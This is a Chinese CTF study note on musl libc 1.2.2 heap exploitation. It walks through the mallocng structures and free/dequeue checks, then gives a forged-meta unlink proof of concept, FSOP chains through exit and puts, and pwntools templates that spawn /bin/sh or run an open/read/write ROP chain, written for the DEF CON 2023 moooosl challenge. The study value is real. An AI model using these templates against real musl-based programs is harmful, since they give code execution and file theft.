其实就是对各位大佬博客的各种摘抄和总结···,方便自己以后做题
结构体 chunk:
1 2 3 4 5 6 struct chunk { char prev_user_data[]; uint8_t idx; uint16_t offset; char data[]; };
在释放后 chunk
头的 idx
会变成0xff
offset
会清零
group: 1 2 3 4 5 6 7 8 #define UNIT 16 #define IB 4 struct group { struct meta *meta ; unsigned char active_idx:5 ; char pad[UNIT - sizeof (struct meta *) - 1 ]; unsigned char storage[]; };
在musl
中同一类大小的chunk
都是被分配到同一个group
中进行管理
1 2 3 4 5 6 7 8 9 struct meta { struct meta *prev , *next ; struct group *mem ; volatile int avail_mask, freed_mask; uintptr_t last_idx:5 ; uintptr_t freeable:1 ; uintptr_t sizeclass:6 ; uintptr_t maplen:8 *sizeof (uintptr_t )-12 ; };
maplen >= 1表示这个meta
里的group
是新mmap
出来的,长度为多少,并且这个group
不在size_classes
里 maplen =0 表示group
不是新mmap
出来的在size_classes
里 细节:
meta
一般申请的是堆空间brk
分配的,有可能是mmap
映射的,而group
都是使用的mmap
的空间
由于bitmap
的限制,因此一个group
中最多只能有32
个chunk
1 2 3 4 5 6 struct meta_area { uint64_t check; struct meta_area *next ; int nslots; struct meta slots []; };
meta_area 是管理meta
的合集 meta_area
以页为单位分配
1 const struct meta_area area = (void )((uintptr_t )meta & -4096 )
细节:
在这个meta_area
页被使用的时候,上一个临近的页会被设置为不可写是为了防止 使用者覆盖check
校验值
__malloc_context: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 struct malloc_context { uint64_t secret; #ifndef PAGESIZE size_t pagesize; #endif int init_done; unsigned mmap_counter; struct meta *free_meta_head ; struct meta *avail_meta ; size_t avail_meta_count, avail_meta_area_count, meta_alloc_shift; struct meta_area *meta_area_head , *meta_area_tail ; unsigned char *avail_meta_areas; struct meta *active [48]; size_t u sage_by_class[48 ]; uint8_t unmap_seq[32 ], bounces[32 ]; uint8_t seq; uintptr_t brk; };
是musl libc
记录结构状态的表,记录各个meta
和 secret
队列信息等
小总结
musl
中堆的管理由meta
管理 group
,group
管理 chunk
在free
或者 malloc chunk
的时候又是从 chunk
到group
再到meta
从小到大索引
meta
间通过meta
中prev next
结构形成循环链表连接
gdb调试技巧 下载xf1le
师傅的gdb
插件
1 2 git clone https://github.com/xf1les/muslheap.git echo "source /path/to/muslheap.py" >> ~/.gdbinit
mheap 可以查看__malloc_context
的部分信息,可以详细看到每一条meta
链表
p __malloc_context 可以查看__malloc_context
的详细信息,但无法详细看到每一条meta
链表
mmagic 用于查看关键函数的地址
查看某个meta
结构体的详细信息
malloc 这里直接贴上0xRGz
师傅的文章
free 这里一样直接贴上0xRGz
师傅的文章Orz
free流程:
通过get_meta(p)
得到meta
(get_meta
是通过chunk
对应的offset
索引到对应的group
再索引到meta
) 下面会详细介绍get_meta
通过get_slot_index(p)
得到对应chunk
的 idx
-> 通过get_nominal_size(p, end)
算出真实大小
重置idx
和 offset idx
被置为0xff
标记chunk
修改freed_mask
标记chunk
被释放
最后调用nontrivial_free
完成关于meta
一些剩余操作
pwn题常用技巧 一般有如下几种利用方法,核心原理都是构造假的chunk
索引到假的group
从而所引导假的meta
或覆盖group
中指向meta
的指针 覆盖为假的meta
,然后使得假的meta dequeue
最终实现unlink
(构造fake_meta
需要先泄露 secret
校验值) 1、伪造meta
后满足各种条件 使得其进入dequeue
通过unlink
,构造prev
,next
实现任意地址指针互写 通过任意地址互写指针,向stdout_used
写入我们伪造的fake_stdout
地址, 通过IO_FILE
劫持程序执行流 到我们布置好的fake_stdout
上,可以找IO_FILE
里的一些函数exit puts
在fake_stdout
上布置rop_chain
然后通过栈迁移的gadget
利用FSOP
劫持程序到布置的fake_stdout
上 2、伪造fake_meta
也是任意地址指针互写,先进行布局使得 fake_meta dequeue
实现unlink
,再利用指针互写 修改fake_meta
中的mem
(mem
就是group
区域) ,把mem
修改为我们想要的地址,然后让fake_meta
通过queue
入队,可以实现任意地址分配的,然后同样是打 IO_FILE
通过修改stdout stdin
和stderr
结构体 劫持程序流
补充:部分重要函数源码 malloc 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 void *malloc (size_t n) { if (size_overflows(n)) return 0 ; struct meta *g ; uint32_t mask, first; int sc; int idx; int ctr; if (n >= MMAP_THRESHOLD) { size_t needed = n + IB + UNIT; void *p = mmap(0 , needed, PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANON, -1 , 0 ); if (p==MAP_FAILED) return 0 ; wrlock(); step_seq(); g = alloc_meta(); if (!g) { unlock(); munmap(p, needed); return 0 ; } g->mem = p; g->mem->meta = g; g->last_idx = 0 ; g->freeable = 1 ; g->sizeclass = 63 ; g->maplen = (needed+4095 )/4096 ; g->avail_mask = g->freed_mask = 0 ; ctx.mmap_counter++; idx = 0 ; goto success; } sc = size_to_class(n); rdlock(); g = ctx.active[sc]; if (!g && sc>=4 && sc<32 && sc!=6 && !(sc&1 ) && !ctx.usage_by_class[sc]) { size_t usage = ctx.usage_by_class[sc|1 ]; if (!ctx.active[sc|1 ] || (!ctx.active[sc|1 ]->avail_mask && !ctx.active[sc|1 ]->freed_mask)) usage += 3 ; if (usage <= 12 ) sc |= 1 ; g = ctx.active[sc]; } for (;;) { mask = g ? g->avail_mask : 0 ; first = mask&-mask; if (!first) break ; if (RDLOCK_IS_EXCLUSIVE || !MT) g->avail_mask = mask-first; else if (a_cas(&g->avail_mask, mask, mask-first)!=mask) continue ; idx = a_ctz_32(first); goto success; } upgradelock(); idx = alloc_slot(sc, n); if (idx < 0 ) { unlock(); return 0 ; } g = ctx.active[sc]; success: ctr = ctx.mmap_counter; unlock(); return enframe(g, idx, n, ctr); }
!!! 关键: 一般分配先进入这个循环
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 for (;;) { mask = g ? g->avail_mask : 0 ; first = mask&-mask; if (!first) break ; if (RDLOCK_IS_EXCLUSIVE || !MT) g->avail_mask = mask-first; else if (a_cas(&g->avail_mask, mask, mask-first)!=mask) continue ; idx = a_ctz_32(first); goto success; } upgradelock(); 如果 idx = alloc_slot(sc, n);
alloc_slot:
1 2 3 4 5 6 7 8 9 10 11 12 13 static int alloc_slot (int sc, size_t req) { uint32_t first = try_avail(&ctx.active[sc]); if (first) return a_ctz_32(first); struct meta *g = alloc_group(sc, req); if (!g) return -1 ; g->avail_mask--; queue (&ctx.active[sc], g); return 0 ; }
try_avail:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 static uint32_t try_avail (struct meta **pm) { struct meta *m = *pm; uint32_t first; if (!m) return 0 ; uint32_t mask = m->avail_mask; if (!mask) { if (!m->freed_mask) { dequeue(pm, m); m = *pm; if (!m) return 0 ; } else { m = m->next; *pm = m; } mask = m->freed_mask; if (mask == (2u <<m->last_idx)-1 && m->freeable) { m = m->next; *pm = m; mask = m->freed_mask; } if (!(mask & ((2u <<m->mem->active_idx)-1 ))) { if (m->next != m) { m = m->next; *pm = m; } else { int cnt = m->mem->active_idx + 2 ; int size = size_classes[m->sizeclass]*UNIT; int span = UNIT + size*cnt; while ((span^(span+size-1 )) < 4096 ) { cnt++; span += size; } if (cnt > m->last_idx+1 ) cnt = m->last_idx+1 ; m->mem->active_idx = cnt-1 ; } } mask = activate_group(m); assert(mask); decay_bounces(m-> sizeclass); } first = mask&-mask; m->avail_mask = mask-first; return first; }
free: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 void free (void *p) { if (!p) return ; struct meta *g = get_meta(p); int idx = get_slot_index(p); size_t stride = get_stride(g); unsigned char *start = g->mem->storage + stride*idx; unsigned char *end = start + stride - IB; get_nominal_size(p, end); uint32_t self = 1u <<idx, all = (2u <<g->last_idx)-1 ; ((unsigned char *)p)[-3 ] = 255 ; *(uint16_t *)((char *)p-2 ) = 0 ; if (((uintptr_t )(start-1 ) ^ (uintptr_t )end) >= 2 *PGSZ && g->last_idx) { unsigned char *base = start + (-(uintptr_t )start & (PGSZ-1 )); size_t len = (end-base) & -PGSZ; if (len) madvise(base, len, MADV_FREE); } for (;;) { uint32_t freed = g->freed_mask; uint32_t avail = g->avail_mask; uint32_t mask = freed | avail; assert(!(mask&self)); if (!freed || mask+self==all) break ; if (!MT) g->freed_mask = freed+self; else if (a_cas(&g->freed_mask, freed, freed+self)!=freed) continue ; return ; } wrlock(); struct mapinfo mi = nontrivial_free(g, idx); unlock(); if (mi.len) munmap(mi.base, mi.len); }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 static inline struct meta *get_meta (const unsigned char *p) { assert(!((uintptr_t )p & 15 )); int offset = *(const uint16_t *)(p - 2 ); int index = p[-3 ] & 31 ;; if (p[-4 ]) { assert(!offset); offset = *(uint32_t *)(p - 8 ); assert(offset > 0xffff ); } const struct group *base = (const void *)(p - UNIT*offset - UNIT); const struct meta *meta = base->meta; assert(meta->mem == base); assert(index <= meta->last_idx); assert(!(meta->avail_mask & (1u <<index))); assert(!(meta->freed_mask & (1u <<index))); const struct meta_area *area = (void *)((uintptr_t )meta & -4096 ); assert(area->check == ctx.secret); if (meta->sizeclass < 48 ) { assert(offset >= size_classes[meta->sizeclass]*index); assert(offset < size_classes[meta->sizeclass]*(index+1 )); } else { assert(meta->sizeclass == 63 ); } if (meta->maplen) { assert(offset <= meta->maplen*4096UL /UNIT - 1 ); } return (struct meta *)meta; }
nontrivial_free: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 static struct mapinfo nontrivial_free (struct meta *g, int i) { uint32_t self = 1u <<i; int sc = g->sizeclass; uint32_t mask = g->freed_mask | g->avail_mask; if (mask+self == (2u <<g->last_idx)-1 && okay_to_free(g)) { if (g->next) { assert(sc < 48 ); int activate_new = (ctx.active[sc]==g); dequeue(&ctx.active[sc], g); if (activate_new && ctx.active[sc]) activate_group(ctx.active[sc]); } return free_group(g); } else if (!mask) { assert(sc < 48 ); if (ctx.active[sc] != g) { queue (&ctx.active[sc], g); } } a_or(&g->freed_mask, self); return (struct mapinfo){ 0 }; }
dequeue: 1 2 3 4 5 6 7 8 9 10 11 static inline void dequeue (struct meta **phead, struct meta *m) { if (m->next != m) { m->prev->next = m->next; m->next->prev = m->prev; if (*phead == m) *phead = m->next; } else { *phead = 0 ; } m->prev = m->next = 0 ; }
dequeue触发条件 1、avail_mask
表示只有一个chunk
被使用 ,freed_mask=0
,而free
刚好要free
一个chunk
,满足 okay_to_free()
条件 就可以进入dequeue
进行出队操作 如add(1,0x20)
再free(1)
就会使得meta
被回收 2、avail_mask=0
, freed_mask
表示只有 1
个 chunk
没被释放,这时释放的chunk
就应该是那最后一个chunk
如下面情况 avail_mask ==0 free_mask=63=00111111 last_idx = 6
,已经释放6
个chunk
还有最后一个chunk
没被释放 在释放最后一个chunk
时会触发dequeue
使得对应meta
出队 3、如果发现这个group
中所有的chunk
要么被free
, 要么是可用的, 那么就会回收掉这个group
,调用dequeue
从队列中出队
unlink free 首先会调用 get_meta
,而 get_meta
有如下检查:
assert(!((uintptr_t) p & 15));
,即 chunk
应该关于 0x10
对齐
meta->mem == base
,即 meta
中保存的 group
指针要正确
index <= meta->last_idx
,即 chunk
的索引不能越界
assert(!(meta->avail_mask & (1u << index)));
,assert(!(meta->freed_mask & (1u << index)));
,检测 double fre
area->check == ctx.secret
,即 meta
所在的 meta_area
的校验值正确。如果伪造的 meta
位于一个伪造的 meta_area
中,需要首先获取校验值 secret
并保存到 meta_area
开头,即这一页最开始的地方
offset >= size_classes[meta->sizeclass]_index ,offset < size_classes[meta->sizeclass]_(index+1)
,这两个检查 offset
和 chunk
大小是否对应
assert(offset <= meta->maplen*4096UL/UNIT - 1);
,即检查 offset
是否越界
紧接着还会调用 get_nominal_size
,其中有对 chunk
的检查,总结来说 chunk
区域尽量都填 0
1 2 3 4 5 6 7 8 9 10 11 12 13 14 static inline size_t get_nominal_size (const unsigned char *p, const unsigned char *end) { size_t reserved = p[-3 ] >> 5 ; if (reserved >= 5 ) { assert(reserved == 5 ); reserved = *(const uint32_t *) (end - 4 ); assert(reserved >= 5 ); assert(!end[-5 ]); } assert(reserved <= end - p); assert(!*(end - reserved)); assert(!*end); return end - reserved - p; }
之后在 free
中的循环满足条件跳出循环调用 nontrivial_free
函数
1 2 3 4 5 6 7 8 9 10 11 for (;;) { uint32_t freed = g->freed_mask; uint32_t avail = g->avail_mask; uint32_t mask = freed | avail; assert(!(mask & self)); if (!freed || mask + self == all) break ; ... } wrlock(); struct mapinfo mi = nontrivial_free(g, idx);
进入 nontrivial_free
函数后会执行如下代码。okay_to_free
函数返回非 0
的前提是 meta->freeable
非 0
,另外还要确保 meta->sizeclass < 48
。之后调用 dequeue
函数触发 unlink
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 uint32_t self = 1u << i;int sc = g->sizeclass;uint32_t mask = g->freed_mask | g->avail_mask;if (mask + self == (2u << g->last_idx) - 1 && okay_to_free(g)) { if (g->next) { assert(sc < 48 ); int activate_new = (ctx.active[sc] == g); dequeue(&ctx.active[sc], g); if (activate_new && ctx.active[sc]) activate_group(ctx.active[sc]); } return free_group(g); }
之后进入 free_group
函数后为了减小伪造难度不再调用 nontrivial_free
要保证 maplen
不为零
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 static struct mapinfo free_group (struct meta *g) { struct mapinfo mi = {0 }; int sc = g->sizeclass; if (sc < 48 ) { ctx.usage_by_class[sc] -= g->last_idx + 1 ; } if (g->maplen) { step_seq(); record_seq(sc); mi.base = g->mem; mi.len = g->maplen * 4096UL ; } else { void *p = g->mem; struct meta *m = get_meta(p); int idx = get_slot_index(p); g->mem->meta = 0 ; mi = nontrivial_free(m, idx); } free_meta(g); return mi; }
poc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 #include <ctype.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/mman.h> #include <assert.h> #define UNIT 16 #define IB 4 #define FAKE_CHUNK_SIZE 0x80 #define FAKE_CHUNK_INDEX 1 #define LAST_INDEX 4 const uint16_t size_classes[] = { 1 , 2 , 3 , 4 , 5 , 6 , 7 , 8 , 9 , 10 , 12 , 15 , 18 , 20 , 25 , 31 , 36 , 42 , 50 , 63 , 72 , 84 , 102 , 127 , 146 , 170 , 204 , 255 , 292 , 340 , 409 , 511 , 584 , 682 , 818 , 1023 , 1169 , 1364 , 1637 , 2047 , 2340 , 2730 , 3276 , 4095 , 4680 , 5460 , 6552 , 8191 , }; static inline int size_to_class (size_t n) { n = (n + IB - 1 ) >> 4 ; if (n < 10 ) return n; n++; int i = (28 - __builtin_ctz(n)) * 4 + 8 ; if (n > size_classes[i + 1 ]) i += 2 ; if (n > size_classes[i]) i++; return i; } struct malloc_context { uint64_t secret; int init_done; unsigned mmap_counter; struct meta *free_meta_head ; struct meta *avail_meta ; size_t avail_meta_count, avail_meta_area_count, meta_alloc_shift; struct meta_area *meta_area_head , *meta_area_tail ; unsigned char *avail_meta_areas; struct meta *active [48]; size_t usage_by_class[48 ]; uint8_t unmap_seq[32 ], bounces[32 ]; uint8_t seq; uintptr_t brk; }; struct group { struct meta *meta ; unsigned char active_idx: 5 ; char pad[UNIT - sizeof (struct meta *) - 1 ]; unsigned char storage[]; }; struct meta { struct meta *prev , *next ; struct group *mem ; volatile int avail_mask, freed_mask; uintptr_t last_idx: 5 ; uintptr_t freeable: 1 ; uintptr_t sizeclass: 6 ; uintptr_t maplen: 8 * sizeof (uintptr_t ) - 12 ; }; struct meta_area { uint64_t check; struct meta_area *next ; int nslots; struct meta slots []; }; int main () { struct malloc_context *ctx = (struct malloc_context *) (&printf + 0x247193 ); struct meta target = {}; void *mmap_space = mmap(NULL , 0x2000 , PROT_WRITE | PROT_READ, MAP_PRIVATE | MAP_ANON, -1 , 0 ); struct meta_area *fake_meta_area = mmap_space; fake_meta_area->check = ctx->secret; struct meta *fake_meta = (struct meta *) ((uint64_t ) mmap_space + 0x100 ); fake_meta->maplen = 1 ; fake_meta->sizeclass = size_to_class(FAKE_CHUNK_SIZE - IB); fake_meta->last_idx = LAST_INDEX; fake_meta->freeable = 1 ; struct group *fake_group = (struct group *) ((uint64_t ) mmap_space + 0x1000 ); fake_meta->mem = fake_group; fake_group->meta = fake_meta; fake_meta->avail_mask = ((2U << LAST_INDEX) - 1 ) ^ (1 << FAKE_CHUNK_INDEX); fake_meta->freed_mask = 0 ; uint8_t *fake_chunk = (uint8_t *) ((uint64_t ) fake_group->storage + size_classes[fake_meta->sizeclass] * UNIT * FAKE_CHUNK_INDEX); *(uint16_t *) (fake_chunk - 2 ) = (fake_chunk - fake_group->storage) / UNIT; fake_chunk[-3 ] = FAKE_CHUNK_INDEX; fake_meta->prev = fake_meta->next = ⌖ free (fake_chunk); assert(target.prev == target.next && target.prev == &target); return 0 ; }
fsop IO_file结构体 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 struct _IO_FILE { unsigned flags; unsigned char *rpos, *rend; int (*close)(FILE *); unsigned char *wend, *wpos; unsigned char *mustbezero_1; unsigned char *wbase; size_t (*read)(FILE *, unsigned char *, size_t ); size_t (*write)(FILE *, const unsigned char *, size_t ); off_t (*seek)(FILE *, off_t , int ); unsigned char *buf; size_t buf_size; FILE *prev, *next; int fd; int pipe_pid; long lockcount; int mode; volatile int lock; int lbf; void *cookie; off_t off; char *getln_buf; void *mustbezero_2; unsigned char *shend; off_t shlim, shcnt; FILE *prev_locked, *next_locked; struct __locale_struct *locale ; };
exit利用链 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 FILE *volatile __stdin_used = &__stdin_FILE; FILE *volatile __stdout_used = &__stdout_FILE; FILE *volatile __stderr_used = &__stderr_FILE; _Noreturn void exit (int code) { __funcs_on_exit(); __libc_exit_fini(); __stdio_exit(); _Exit(code); } void __stdio_exit(void ) { FILE *f; for (f = *__ofl_lock(); f; f = f->next) close_file(f); close_file(__stdin_used); close_file(__stdout_used); close_file(__stderr_used); } static void close_file (FILE *f) { if (!f) return ; FFINALLOCK(f); if (f->wpos != f->wbase) f->write(f, 0 , 0 ); if (f->rpos != f->rend) f->seek(f, f->rpos - f->rend, SEEK_CUR); }
可以看到exit
函数最终会调用到三个io file
的write
函数和seek
函数,我们可以将 FILE
结构体开头的几个字节修改为 /bin/sh
,再修改 write
指针的值为 system
,以及修改 f->wpos
、f->wbase
中其中之一就可以调用到 system(“/bin/sh”)
总结来说,就是在无沙箱时,需要修改 _IO_FILE
结构体的几个地方:
起始位置写入 /bin/sh
write
写入 system
函数地址。
好将 lock
设置为小于 0
避免程序卡死在 __lockfile
函数中。(等于 0
貌似也可以)
fake_file getshell模板:
1 2 3 4 5 6 7 8 9 10 11 12 fake_file = b"" fake_file += b"/bin/sh" .ljust(8 , b'\x00' ) fake_file += p64(0 ) fake_file += p64(0 ) fake_file += p64(0 ) fake_file += p64(0 ) fake_file += p64(0x114514 ) fake_file += p64(0 ) fake_file += p64(0x1919810 ) fake_file += p64(0 ) fake_file += p64(libc_base+libc.symols['system' ]) fake_file = fake_file.ljust(0x90 , b'\x00' )
若需要orw
,这需要一下gadget
:
1 mov rsp, qword ptr [rdi + 0x30] ; jmp qword ptr [rdi + 0x38]
总结来说,就是在有沙箱时,需要修改 _IO_FILE
结构体的 3
个地方:
f->wbase
写入第一个 gadget
地址使得 f->wpos 、f->wbase
不等的同时能够执行到 gadget
write
写入刚才提到的栈迁移的 gadget
偏移 0x30
处写入新的栈地址配合栈迁移 gadget
完成栈迁移
此外还需要在其他地方构造好 ROP
链用于 orw
模板:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 payload_addr = libc.address - 0x6fe0 fake_file_addr = payload_addr fake_group_addr = fake_file_addr + 0x90 fake_chunk_addr = fake_group_addr + 0x10 fake_meta_area_offset = ((payload_addr + 0xFFF ) & ~0xFFF ) - payload_addr fake_meta_offset = fake_meta_area_offset + 8 fake_meta_addr = payload_addr + fake_meta_offset stderr_used_addr = libc.address + 0xb43a0 rop_addr = fake_chunk_addr magic_gadget = libc.search(asm('mov rsp, qword ptr [rdi + 0x30] ; jmp qword ptr [rdi + 0x38]' ), executable=True ).next () pop_rdi_ret = libc.search(asm("pop rdi;ret" ), executable=True ).next () pop_rsi_ret = libc.search(asm("pop rsi;ret" ), executable=True ).next () pop_rdx_ret = libc.search(asm("pop rdx;ret" ), executable=True ).next () pop_rax_ret = libc.search(asm("pop rax;ret" ), executable=True ).next () ret = libc.search(asm("ret" ), executable=True ).next () buf_addr = payload_addr rop = b'' rop += p64(pop_rdi_ret) rop += p64(buf_addr) rop += p64(pop_rsi_ret) rop += p64(0 ) rop += p64(libc.sym['open' ]) rop += p64(pop_rdi_ret) rop += p64(3 ) rop += p64(pop_rsi_ret) rop += p64(buf_addr) rop += p64(pop_rdx_ret) rop += p64(0x100 ) rop += p64(libc.sym['read' ]) rop += p64(pop_rdi_ret) rop += p64(1 ) rop += p64(pop_rsi_ret) rop += p64(buf_addr) rop += p64(pop_rdx_ret) rop += p64(0x100 ) rop += p64(libc.sym['write' ]) fake_file = b"" fake_file += b"./flag" .ljust(8 , b'\x00' ) fake_file += p64(0 ) fake_file += p64(0 ) fake_file += p64(0 ) fake_file += p64(0 ) fake_file += p64(0 ) fake_file += p64(rop_addr) fake_file += p64(ret) fake_file += p64(0 ) fake_file += p64(magic_gadget) fake_file = fake_file.ljust(0x90 , b'\x00' ) fake_group = p64(fake_meta_addr) + p64(0 ) fake_meta = b'' fake_meta += p64(fake_file_addr) fake_meta += p64(stderr_used_addr) fake_meta += p64(fake_group_addr) fake_meta += p32(0b0000 ) fake_meta += p32(0b1110 ) last_idx = 3 freeable = 1 sizeclass = 8 maplen = 0 fake_meta += p64(last_idx | (freeable << 5 ) | (sizeclass << 6 ) | (sizeclass << 12 )) fake_meta_area = p64(leak_secret) + fake_meta payload = b'' payload += fake_file payload += fake_group payload += rop assert len (payload) <= fake_meta_area_offsetpayload = payload.ljust(fake_meta_area_offset, b'\x00' ) payload += fake_meta_area payload = payload.ljust(0x2000 , b'\x00' ) fake_node = b'' fake_node += p64(4 ) fake_node += p64(fake_chunk_addr) fake_node += p64(0x100 ) fake_node += p64(2 ) fake_node += p64(0xdeadbeef ) fake_node += p64(0 ) fake_node += p64(0 ) add(5 , fake_node) add(6 , payload)
puts利用链 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 int puts (const char *s) { int r; FLOCK(stdout ); r = -(fputs (s, stdout ) < 0 || putc_unlocked('\n' , stdout ) < 0 ); FUNLOCK(stdout ); return r; } int fputs (const char *restrict s, FILE *restrict f) { size_t l = strlen (s); return (fwrite(s, 1 , l, f) == l) - 1 ; } size_t fwrite (const void *restrict src, size_t size, size_t nmemb, FILE *restrict f) { size_t k, l = size * nmemb; if (!size) nmemb = 0 ; FLOCK(f); k = __fwritex(src, l, f); FUNLOCK(f); return k == l ? nmemb : k / size; } int __towrite(FILE *f) { ... if (f->flags & F_NOWR) { f->flags |= F_ERR; return EOF; } ... return 0 ; } size_t __fwritex(const unsigned char *restrict s, size_t l, FILE *restrict f) { size_t i = 0 ; if (!f->wend && __towrite(f)) return 0 ; if (l > f->wend - f->wpos) return f->write(f, s, l); ... }
getshell 模板:
1 2 3 4 5 6 7 8 9 10 11 12 fake_file = b"" fake_file += b"/bin/sh" .ljust(8 , b'\x00' ) fake_file += p64(0 ) fake_file += p64(0 ) fake_file += p64(0 ) fake_file += p64(0x114514 ) fake_file += p64(0x114514 ) fake_file += p64(0 ) fake_file += p64(0x114514 ) fake_file += p64(0 ) fake_file += p64(libc.sym['system' ]) fake_file = fake_file.ljust(0x80 , b'\x00' )
orw musl-1.2.2 模板:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 fake_name_addr = libc.address + 0xb7990 payload_addr = libc.address - 0x6fe0 fake_file_addr = payload_addr fake_group_addr = fake_file_addr + 0x90 fake_chunk_addr = fake_group_addr + 0x10 fake_meta_area_offset = ((payload_addr + 0xFFF ) & ~0xFFF ) - payload_addr fake_meta_offset = fake_meta_area_offset + 8 fake_meta_addr = payload_addr + fake_meta_offset stderr_used_addr = libc.address + 0xb43a0 rop_addr = fake_chunk_addr magic_gadget = libc.search(asm('mov rsp, qword ptr [rdi + 0x30] ; jmp qword ptr [rdi + 0x38]' ), executable=True ).next () pop_rdi_ret = libc.search(asm("pop rdi;ret" ), executable=True ).next () pop_rsi_ret = libc.search(asm("pop rsi;ret" ), executable=True ).next () pop_rdx_ret = libc.search(asm("pop rdx;ret" ), executable=True ).next () pop_rax_ret = libc.search(asm("pop rax;ret" ), executable=True ).next () ret = libc.search(asm("ret" ), executable=True ).next () buf_addr = payload_addr rop = b'' rop += p64(pop_rdi_ret) rop += p64(buf_addr) rop += p64(pop_rsi_ret) rop += p64(0 ) rop += p64(libc.sym['open' ]) rop += p64(pop_rdi_ret) rop += p64(3 ) rop += p64(pop_rsi_ret) rop += p64(buf_addr) rop += p64(pop_rdx_ret) rop += p64(0x100 ) rop += p64(libc.sym['read' ]) rop += p64(pop_rdi_ret) rop += p64(1 ) rop += p64(pop_rsi_ret) rop += p64(buf_addr) rop += p64(pop_rdx_ret) rop += p64(0x100 ) rop += p64(libc.sym['write' ]) fake_file = b"" fake_file += b"./flag" .ljust(8 , b'\x00' ) fake_file += p64(0 ) fake_file += p64(0 ) fake_file += p64(0 ) fake_file += p64(0 ) fake_file += p64(0 ) fake_file += p64(rop_addr) fake_file += p64(ret) fake_file += p64(0 ) fake_file += p64(magic_gadget) fake_file = fake_file.ljust(0x90 , b'\x00' ) fake_group = p64(fake_meta_addr) + p64(0 ) fake_meta = b'' fake_meta += p64(fake_file_addr) fake_meta += p64(stderr_used_addr) fake_meta += p64(fake_group_addr) fake_meta += p32(0b0000 ) fake_meta += p32(0b1110 ) last_idx = 3 freeable = 1 sizeclass = 8 maplen = 0 fake_meta += p64(last_idx | (freeable << 5 ) | (sizeclass << 6 ) | (sizeclass << 12 )) fake_meta_area = p64(leak_secret) + fake_meta payload = b'' payload += fake_file payload += fake_group payload += rop assert len (payload) <= fake_meta_area_offsetpayload = payload.ljust(fake_meta_area_offset, b'\x00' ) payload += fake_meta_area payload = payload.ljust(0x2000 , b'\x00' ) fake_node = b'' fake_node += p64(fake_name_addr) fake_node += p64(fake_chunk_addr) fake_node += p64(len ('fake name' )) fake_node += p64(0 ) fake_node += p64(0 ) add('hijack node' .ljust(0x28 , b'\x00' ), fake_node) add("payload" , payload) log.info("fake chunk addr: " + hex (fake_chunk_addr))
题目分析 题目为defcon 2023 moooosl
musl版本为1.2.2
题目源码 赛题好像没有给出源码,不过代码比较简单,ida
看的反而比源码更加方便,这里为了方便看的人了解题目,就把源码贴出来了 h.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 #include <time.h> #include <stdio.h> #include <stdint.h> static uint32_t key_hash (const uint8_t *key, size_t key_size) { uint64_t h = 0 ; for (int i = 0 ; i < key_size; i++) { h = h * 0x13377331 + key[i]; } return h; } uint64_t H[0x100000 ];int main () { srand(time(NULL )); uint32_t shift = rand(); char tmp[8 ] = {0 }; #define L 0x40 #define R 0x7f for (char a = L; a < R; a++) { tmp[0 ] = a; for (char b = L; b < R; b++) { tmp[1 ] = b; for (char c = L; c < R; c++) { tmp[2 ] = c; for (char d = L; d < R; d++) { tmp[3 ] = d; for (char e = L; e < R; e++) { tmp[4 ] = e; uint32_t h = key_hash(&tmp, 5 ) - shift; if (h < 0x100000 ) { if (H[h] == 0 ) { H[h] = *(uint64_t *)&tmp; } else { printf ("%s %s => %#08x\n" , tmp, &H[h], h); } } } } } } } }
service.c
